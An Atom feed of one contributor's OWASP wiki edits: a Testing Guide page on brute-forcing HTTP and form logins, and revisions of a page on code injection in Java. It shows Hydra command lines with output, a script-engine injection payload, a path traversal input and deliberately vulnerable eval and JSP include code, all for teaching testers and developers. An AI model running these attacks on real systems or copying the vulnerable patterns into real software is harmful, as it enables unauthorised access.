<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Neil+Bergman</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Neil+Bergman"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Neil_Bergman"/>
		<updated>2026-05-01T16:17:14Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=130709</id>
		<title>User:Neil Bergman</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=130709"/>
				<updated>2012-05-30T12:43:59Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: Blanked the page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=109380</id>
		<title>User:Neil Bergman</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=109380"/>
				<updated>2011-04-22T02:48:03Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Neil Bergman works as a consultant at Cigital.  He has been programming since a child and in his copious amounts of free time he composes electronic music and practices kung fu. &lt;br /&gt;
&lt;br /&gt;
Neil can be reached at: nebergma (!a+t!) gmail d0t com&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=92570</id>
		<title>User:Neil Bergman</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=92570"/>
				<updated>2010-11-09T20:58:01Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Neil Bergman works as an associate consultant at Cigital.  He has been programming since a child and in his copious amounts of free time he composes electronic music and practices kung fu. &lt;br /&gt;
&lt;br /&gt;
Neil can be reached at: nebergma (!at!) gmail.com&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=92569</id>
		<title>User:Neil Bergman</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Neil_Bergman&amp;diff=92569"/>
				<updated>2010-11-09T20:57:32Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Neil Bergman works as an associate consultant at Cigital.  He has been programming since a child and in his copious free time he composes electronic music and practices kung fu. &lt;br /&gt;
&lt;br /&gt;
Neil can be reached at: nebergma (!at!) gmail.com&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Brute_Force_(OWASP-AT-004)&amp;diff=70727</id>
		<title>Testing for Brute Force (OWASP-AT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Brute_Force_(OWASP-AT-004)&amp;diff=70727"/>
				<updated>2009-10-04T20:57:52Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Brute forcing consists of systematically enumerating all possible candidates for the solution and checking whether each candidate satisfies the problem's statement. In web application testing, the problem we are going to face with the most is very often connected with the need of having a valid user account to access the inner part of the application.&lt;br /&gt;
Therefore we are going to check different types of authentication schema and the effectiveness of different brute-force  attacks.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of Brute Force Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
A great majority of web applications provide a way for users to authenticate themselves. By having knowledge of user's identity it's possible to create protected areas or, more generally, to have the application behave differently upon the logon of different users.&lt;br /&gt;
In general, there are several methods for a user to authenticate to a system, like certificates, biometric devices, OTP (One Time Password) tokens. However, in web applications, we usually find a combination of user ID and password. Therefore, it's possible to carry out an attack to retrieve a valid user account and password, by trying to enumerate many (i.e., dictionary attack) or all the possible candidates.&lt;br /&gt;
&lt;br /&gt;
After a successful brute force attack, a malicious user could have access to:&lt;br /&gt;
&lt;br /&gt;
* Confidential information / data;&lt;br /&gt;
** Private sections of a web application could disclose confidential documents, users' profile data, financial status, bank details, users' relationships, etc.&lt;br /&gt;
	&lt;br /&gt;
* Administration panels;&lt;br /&gt;
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.&lt;br /&gt;
&lt;br /&gt;
* Availability of further attack vectors;&lt;br /&gt;
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
To leverage different brute forcing attacks, it's important to discover the type of authentication method used by the application, because the techniques and the tools to be used may change accordingly.&lt;br /&gt;
&lt;br /&gt;
=== Discovery Authentication Methods ===&lt;br /&gt;
&lt;br /&gt;
Unless an entity decides to apply a sophisticated web authentication, the two most commonly seen methods are as follows:&lt;br /&gt;
&lt;br /&gt;
* HTTP Authentication;&lt;br /&gt;
** Basic Access Authentication&lt;br /&gt;
** Digest Access Authentication&lt;br /&gt;
* HTML Form-based Authentication;&lt;br /&gt;
&lt;br /&gt;
The following sections provide some good information on identifying the authentication mechanism employed during a blackbox test.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''HTTP authentication'''&lt;br /&gt;
&lt;br /&gt;
There are two native HTTP access authentication schemes available to an organization – Basic and Digest. &lt;br /&gt;
&lt;br /&gt;
* Basic Access Authentication&lt;br /&gt;
&lt;br /&gt;
Basic Access Authentication assumes clients will identify themselves with a login name (e.g., &amp;quot;owasp&amp;quot;) and password (e.g., &amp;quot;password&amp;quot;). When the client browser initially accesses a site using this scheme, the web server will reply with a 401 response containing a “WWW-Authenticate” header, containing a value of “Basic” and the name of the protected realm (e.g., WWW-Authenticate: Basic realm=&amp;quot;wwwProtectedSite”). The client browser will then prompt the user for her login name and password for that realm. The client browser then responds to the web server with an “Authorization” header, containing the value “Basic” and the base64-encoded concatenation of the login name, a colon, and the password (e.g., Authorization: Basic b3dhc3A6cGFzc3dvcmQ=). Unfortunately, the authentication reply can be easily decoded should an attacker sniff the transmission.&lt;br /&gt;
&lt;br /&gt;
Request and Response Test:&lt;br /&gt;
&lt;br /&gt;
1. Client sends standard HTTP request for resource:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /members/docs/file.pdf HTTP/1.1&lt;br /&gt;
Host: target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. The web server states that the requested resource is located in a protected directory.&lt;br /&gt;
&lt;br /&gt;
3. Server sends response with HTTP 401 Authorization Required:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 401 Authorization Required&lt;br /&gt;
Date: Sat, 04 Nov 2006 12:52:40 GMT&lt;br /&gt;
WWW-Authenticate: Basic realm=&amp;quot;User Realm&amp;quot;&lt;br /&gt;
Content-Length: 401&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Browser displays challenge pop-up for username and password data entry.&lt;br /&gt;
&lt;br /&gt;
5. Client resubmits HTTP Request with credentials included:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /members/docs/file.pdf HTTP/1.1&lt;br /&gt;
Host: target&lt;br /&gt;
Authorization: Basic b3dhc3A6cGFzc3dvcmQ=&lt;br /&gt;
 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
6. Server compares client information to its credentials list.&lt;br /&gt;
&lt;br /&gt;
7. If the credentials are valid, the server sends the requested content. If the authorization fails, the server resends HTTP status code 401. If the user clicks Cancel the browser will likely display an error message.&lt;br /&gt;
If an attacker is able to intercept the request from step 5, the string&lt;br /&gt;
&lt;br /&gt;
 b3dhc3A6cGFzc3dvcmQ= &lt;br /&gt;
could simply be base64 decoded as follows (Base64 Decoded): &lt;br /&gt;
 owasp:password&lt;br /&gt;
&lt;br /&gt;
If the tester is able to intercept the HTTP request of a basic authentication request, it is not necessary to apply brute-force techniques to uncover the credentials. Simply use a base64 decoder on the sniffed request.  However, if the tester is unable to intercept the HTTP request, the tester should use brute force tools.&lt;br /&gt;
&lt;br /&gt;
* Digest Access Authentication&lt;br /&gt;
&lt;br /&gt;
Digest Access Authentication expands upon the security of Basic Access Authentication by using a one-way cryptographic hashing algorithm (MD5) to encrypt authentication data and, secondly, adding a single use (connection unique) “nonce” value set by the web server. This value is used by the client browser in the calculation of a hashed password response. While the password is obscured by the use of the cryptographic hashing and the use of the nonce value precludes the threat of a replay attack, the login name is submitted in clear text.&lt;br /&gt;
&lt;br /&gt;
Request and Response Test:&lt;br /&gt;
&lt;br /&gt;
1. Here is an example of the initial Response header when handling an HTTP Digest target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 401 Unauthorized&lt;br /&gt;
WWW-Authenticate: Digest realm=&amp;quot;OwaspSample&amp;quot;, &lt;br /&gt;
         nonce=&amp;quot;Ny8yLzIwMDIgMzoyNjoyNCBQTQ&amp;quot;, &lt;br /&gt;
         opaque=&amp;quot;0000000000000000&amp;quot;, \&lt;br /&gt;
         stale=false, &lt;br /&gt;
         algorithm=MD5, &lt;br /&gt;
         qop=&amp;quot;auth&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. The Subsequent response headers with valid credentials would look like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /example/owasp/test.asmx HTTP/1.1&lt;br /&gt;
Accept: */*&lt;br /&gt;
Authorization:  Digest username=&amp;quot;owasp&amp;quot;, &lt;br /&gt;
        realm=&amp;quot;OwaspSample&amp;quot;, &lt;br /&gt;
        qop=&amp;quot;auth&amp;quot;, &lt;br /&gt;
        algorithm=&amp;quot;MD5&amp;quot;, &lt;br /&gt;
        uri=&amp;quot;/example/owasp/test.asmx&amp;quot;, &lt;br /&gt;
        nonce=&amp;quot;Ny8yLzIwMDIgMzoyNjoyNCBQTQ&amp;quot;, &lt;br /&gt;
        nc=00000001, &lt;br /&gt;
        cnonce=&amp;quot;c51b5139556f939768f770dab8e5277a&amp;quot;, &lt;br /&gt;
        opaque=&amp;quot;0000000000000000&amp;quot;, &lt;br /&gt;
        response=&amp;quot;2275a9ca7b2dadf252afc79923cd3823&amp;quot; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''HTML Form-based Authentication'''&lt;br /&gt;
&lt;br /&gt;
While both HTTP access authentication schemes may appear suitable for commercial use over the Internet, particularly when used over an SSL encrypted session, many organizations have chosen to utilize custom HTML and application level authentication procedures, in order to provide a more sophisticated authentication procedure.&lt;br /&gt;
&lt;br /&gt;
Source code taken from a HTML form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;login&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;username&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force Attacks ===&lt;br /&gt;
&lt;br /&gt;
After having listed the different types of authentication methods for a web application, we will explain several types of brute force attacks. &lt;br /&gt;
&lt;br /&gt;
* Dictionary Attack&lt;br /&gt;
Dictionary-based attacks consist of automated scripts and tools that will try to guess usernames and passwords from a dictionary file. A dictionary file can be tuned and compiled to cover words probably used by the owner of the account that a malicious user is going to attack. The attacker can gather information (via active/passive reconnaissance, competitive intelligence, dumpster diving, social engineering) to understand the user, or build a list of all unique words available on the website. &lt;br /&gt;
&lt;br /&gt;
* Search Attacks&lt;br /&gt;
Search attacks will try to cover all possible combinations of a given character set and a given password length range. This kind of attack is very slow because the space of possible candidates is quite big. For example, given a known user ID, the total number of passwords to try, up to 8 characters in length, is equal to 26^(8) in a lower alpha charset (more than 200 billion possible passwords!). &lt;br /&gt;
&lt;br /&gt;
* Rule-based search attacks&lt;br /&gt;
To increase the combination space coverage without slowing too much of the process, it's suggested to create good rules to generate candidates. &lt;br /&gt;
For example, &amp;quot;John the Ripper&amp;quot; can generate password variations from part of the username or modify through a preconfigured mask words in the input (e.g., 1st round &amp;quot;pen&amp;quot; --&amp;gt; 2nd round &amp;quot;p3n&amp;quot; --&amp;gt; 3rd round &amp;quot;p3np3n&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
'''Bruteforcing HTTP Basic Authentication'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/&lt;br /&gt;
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.&lt;br /&gt;
Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17&lt;br /&gt;
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task&lt;br /&gt;
[DATA] attacking service http-head on port 80&lt;br /&gt;
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h&lt;br /&gt;
[80][www] host: 10.0.0.1   login: owasp   password: password&lt;br /&gt;
[STATUS] attack finished for www.site.com (waiting for childs to finish)&lt;br /&gt;
Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Bruteforcing HTML Form Based Authentication'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com  https-post-form&lt;br /&gt;
 &amp;quot;/index.cgi:login&amp;amp;name=^USER^&amp;amp;password=^PASS^&amp;amp;login=Login:Not allowed&amp;quot; &amp;amp;&lt;br /&gt;
&lt;br /&gt;
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.&lt;br /&gt;
Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17&lt;br /&gt;
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task&lt;br /&gt;
[DATA] attacking service http-post-form on port 443&lt;br /&gt;
[STATUS] attack finished for wiki.intranet (waiting for childs to finish)&lt;br /&gt;
[443] host: 10.0.0.1   login: owasp   password: password&lt;br /&gt;
[STATUS] attack finished for www.site.com (waiting for childs to finish)&lt;br /&gt;
Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Partial knowledge of password and account details'''&lt;br /&gt;
&lt;br /&gt;
When a tester has some information about length or password (account) structure, it's possible to perform a bruteforce attack with a higher probability of success. In fact, by limiting the number of characters and defining the password length, the total number of password values significantly decreases.&lt;br /&gt;
&lt;br /&gt;
[[Image:bf-partialknowledge.jpg]]&lt;br /&gt;
&lt;br /&gt;
'''Memory Trade Off Attacks'''&lt;br /&gt;
&lt;br /&gt;
To perform a Memory Trade Off Attack, the tester needs at least a password hash previously obtained by the tester by exploiting flaws in the application (e.g., SQL Injection) or sniffing HTTP traffic. Nowadays, the most common attacks of this kind are based on Rainbow Tables, a special type of lookup table used in recovering the plaintext password from a ciphertext generated by a one-way hash.&lt;br /&gt;
&lt;br /&gt;
Rainbow tables are an optimization of Hellman's Memory Trade Off Attack, where the reduction algorithm is used to create chains with the purpose to compress the data output generated by computing all possible candidates.&lt;br /&gt;
&lt;br /&gt;
Tables are specific to the hash function they were created for, e.g., MD5 tables can only crack MD5 hashes. &lt;br /&gt;
The powerful RainbowCrack program was later developed that can generate and use rainbow tables for a variety of character sets and hashing algorithms, including LM hash, MD5, SHA1, etc.&lt;br /&gt;
&lt;br /&gt;
[[Image:bf-milworm.jpg]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Philippe Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off - http://lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf&lt;br /&gt;
'''Links'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OPHCRACK (the time-memory-trade-off-cracker) - http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/&lt;br /&gt;
* Project RainbowCrack - http://www.antsight.com/zsl/rainbowcrack/&lt;br /&gt;
* milw0rm - http://www.milw0rm.com/cracker/list.php&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* THC Hydra:        http://www.thc.org/thc-hydra/&lt;br /&gt;
* John the Ripper:  http://www.openwall.com/john/&lt;br /&gt;
* Brutus http://www.hoobie.net/brutus/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working:&lt;br /&gt;
&lt;br /&gt;
* Rainbowcrack.com - http://www.rainbowcrack.com/&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=69691</id>
		<title>Code injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=69691"/>
				<updated>2009-09-24T13:03:12Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Examples */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application.  There are a couple ways in which Java code could be injected into an application such as using the scripting API or dynamic JSP includes.  Java provides a scripting API that allows code written in scripting languages to access and control Java objects.  The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well.  If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to inject arbitrary Javascript into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			System.out.println(args[0]);&lt;br /&gt;
			engine.eval(&amp;quot;print('&amp;quot;+ args[0] + &amp;quot;')&amp;quot;);&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the attacker decides to inject code that creates a file on the file system.  &lt;br /&gt;
&lt;br /&gt;
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //&lt;br /&gt;
&lt;br /&gt;
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass.  There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to control which file is loaded into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			engine.eval(new java.io.FileReader(&amp;quot;resources/&amp;quot; + args[0] + &amp;quot;.js&amp;quot;));&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It is trivial for a user to load script files from other directories.  For example, inputting ''../uploads/evil''.  The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
&lt;br /&gt;
The code below allows the user to control which JSP is loaded using a dynamic include.  This is similar to the PHP include statement, but doesn't not allow the inclusion of code from other domains.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;% String pageToInclude = getDataFromUntrustedSource(); %&amp;gt;&lt;br /&gt;
&amp;lt;jsp:include page=&amp;quot;&amp;lt;%=pageToInclude %&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=69690</id>
		<title>Code injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=69690"/>
				<updated>2009-09-24T13:01:00Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application.  There are a couple ways in which Java code could be injected into an application such as using the scripting API or dynamic JSP includes.  Java provides a scripting API that allows code written in scripting languages to access and control Java objects.  The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well.  If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to inject arbitrary Javascript into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			System.out.println(args[0]);&lt;br /&gt;
			engine.eval(&amp;quot;print('&amp;quot;+ args[0] + &amp;quot;')&amp;quot;);&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the attacker decides to inject code that creates a file on the file system.  &lt;br /&gt;
&lt;br /&gt;
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //&lt;br /&gt;
&lt;br /&gt;
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass.  There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to control which file is loaded into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			engine.eval(new java.io.FileReader(&amp;quot;resources/&amp;quot; + args[0] + &amp;quot;.js&amp;quot;));&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It is trivial for a user to load script files from other directories.  For example, inputting ''../uploads/evil''.  The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=69689</id>
		<title>Code injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=69689"/>
				<updated>2009-09-24T12:58:35Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application.  There are a couple ways in which Java code could be injected into application such as using the Java scripting API or dynamic JSP includes.  Java provides a scripting API that allows code written in scripting languages to access and control Java objects.  The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well.  If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to inject arbitrary Javascript into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			System.out.println(args[0]);&lt;br /&gt;
			engine.eval(&amp;quot;print('&amp;quot;+ args[0] + &amp;quot;')&amp;quot;);&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the attacker decides to inject code that creates a file on the file system.  &lt;br /&gt;
&lt;br /&gt;
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //&lt;br /&gt;
&lt;br /&gt;
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass.  There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to control which file is loaded into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			engine.eval(new java.io.FileReader(&amp;quot;resources/&amp;quot; + args[0] + &amp;quot;.js&amp;quot;));&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
